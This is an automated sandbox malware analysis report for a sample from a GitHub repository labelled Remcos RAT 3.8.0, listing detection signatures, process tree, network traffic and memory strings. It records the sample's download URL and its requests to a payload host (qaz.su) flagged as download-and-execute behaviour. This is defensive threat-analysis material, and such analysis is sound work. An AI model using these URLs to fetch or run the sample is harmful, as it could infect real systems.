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Windows Analysis Report
https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe

Overview

General Information

Sample URL:	https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe
Analysis ID:	1644538
Infos:

Detection

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Yara detected Powershell download and execute

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 8292 cmdline: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wget.exe (PID: 8340 cmdline: wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" MD5: 3DADB6E2ECE9C4B3E1E322E617658B60)

Remcos-RAT-3.8.0.exe (PID: 8472 cmdline: "C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe" MD5: 6166F997B4BB3428AE0D9D4B4E1F0DB2)

WerFault.exe (PID: 8632 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8472 -s 2184 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: Remcos-RAT-3.8.0.exe PID: 8472	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1, CommandLine: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 6136, ProcessCommandLine: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1, ProcessId: 8292, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1, CommandLine: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 6136, ProcessCommandLine: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1, ProcessId: 8292, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-20T17:02:28.362047+0100	2803305	3	Unknown Traffic	192.168.2.5	49725	80.87.203.251	443	TCP

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Avira: detection malicious, Label: HEUR/AGEN.1313721

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

ReversingLabs: Detection: 79%

Source: unknown	HTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.87.203.251:443 -> 192.168.2.5:49724 version: TLS 1.2

Source:	Binary string: System32.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Xml.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.ni.pdbRSDS source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: HPdn0C:\Windows\System32.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1399643990.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\Desktop\download\System32.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.0000000006210000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Configuration.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Xml.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: mscorlib.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400375747.000000000109B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\Desktop\download\System32.pdbri source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.0000000006210000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb4 source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Core.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System32.pdb& source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: System.ni.pdb source: WER70B5.tmp.dmp.6.dr
Source:	Binary string: C:\Users\Gadr\source\repos\ConsoleApp5\ConsoleApp5\obj\x86\Debug\System32.pdb source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.000000000624D000.00000004.00000020.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000000.1335212870.0000000000902000.00000002.00000001.01000000.00000003.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400375747.000000000109B000.00000004.00000020.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe.2.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER70B5.tmp.dmp.6.dr

Source: global traffic	HTTP traffic detected: GET /load/rTE6bi/b733f346-f3cc-4059-b212-d58a8e4d2f06 HTTP/1.1Host: qaz.suConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /index.php?a=download&q=file_not_exist HTTP/1.1Host: qaz.su

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49725 -> 80.87.203.251:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like GeckoAccept: /Accept-Encoding: identityHost: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like GeckoAccept: /Accept-Encoding: identityHost: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /load/rTE6bi/b733f346-f3cc-4059-b212-d58a8e4d2f06 HTTP/1.1Host: qaz.suConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /index.php?a=download&q=file_not_exist HTTP/1.1Host: qaz.su

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: qaz.su

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ddos-guardConnection: closeSet-Cookie: __ddg8_=O4wOpy74RXiJCDQ6; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:27 GMTSet-Cookie: __ddg10_=1742486547; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:27 GMTSet-Cookie: __ddg9_=161.77.13.2; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:27 GMTSet-Cookie: __ddg1_=hKS2vVwlRirc6uGFQrhA; Domain=.qaz.su; HttpOnly; Path=/; Expires=Fri, 20-Mar-2026 16:02:27 GMTDate: Thu, 20 Mar 2025 16:02:28 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4365Vary: Accept-EncodingX-Powered-By: PHP/7.4.27Set-Cookie: PHPSESSID=1etumsf5tr0a1ned2fo14bibpt; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache

Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1401494610.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.coCn
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://qaz.im
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://qaz.is
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://qaz.su
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://qaz.sud
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: wget.exe, 00000002.00000002.1321859775.0000000000B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.
Source: wget.exe, 00000002.00000002.1321812511.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321935695.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321812511.0000000000AD5000.00000004.00000020.00020000.00000000.sdmp, cmdline.out.0.dr	String found in binary or memory: https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe
Source: wget.exe, 00000002.00000002.1321812511.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exeta
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D33000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D48000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/contact
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/css/font-awesome.css
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/disclaimer
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/favicon.ico
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/index.php?a=admin
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D4F000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D6C000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/index.php?a=download&q=file_not_exist
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/index.php?a=user
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/js/jquery-1.12.4.min.js
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/js/jquery.js
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/js/jquery.tipsy.js
Source: Remcos-RAT-3.8.0.exe, 00000003.00000000.1335212870.0000000000902000.00000002.00000001.01000000.00000003.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe.2.dr	String found in binary or memory: https://qaz.su/load/rTE6bi/b733f346-f3cc-4059-b212-d58a8e4d2f06
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/privacy
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/style.css?v=2
Source: Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002DCB000.00000004.00000800.00020000.00000000.sdmp, Remcos-RAT-3.8.0.exe, 00000003.00000002.1400718528.0000000002D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qaz.su/tos
Source: cmdline.out.0.dr	String found in binary or memory: https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exe
Source: wget.exe, 00000002.00000003.1321521516.0000000002B5A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321935695.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exeRxz
Source: wget.exe, 00000002.00000003.1321521516.0000000002B5A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321935695.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exeT
Source: wget.exe, 00000002.00000003.1321521516.0000000002B5A000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000002.1321935695.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exex

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.87.203.251:443 -> 192.168.2.5:49724 version: TLS 1.2

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Code function: 3_2_00F60848

3_2_00F60848

Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8472 -s 2184

Source: classification engine

Classification label: mal72.evad.win@6/7@3/3

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\Desktop\cmdline.out

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8472
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8300:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\83d7cc86-79e3-469f-88f8-cc1d9f894faf

Jump to behavior

Source: C:\Windows\SysWOW64\wget.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe"
Source: unknown	Process created: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe "C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe"
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8472 -s 2184
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
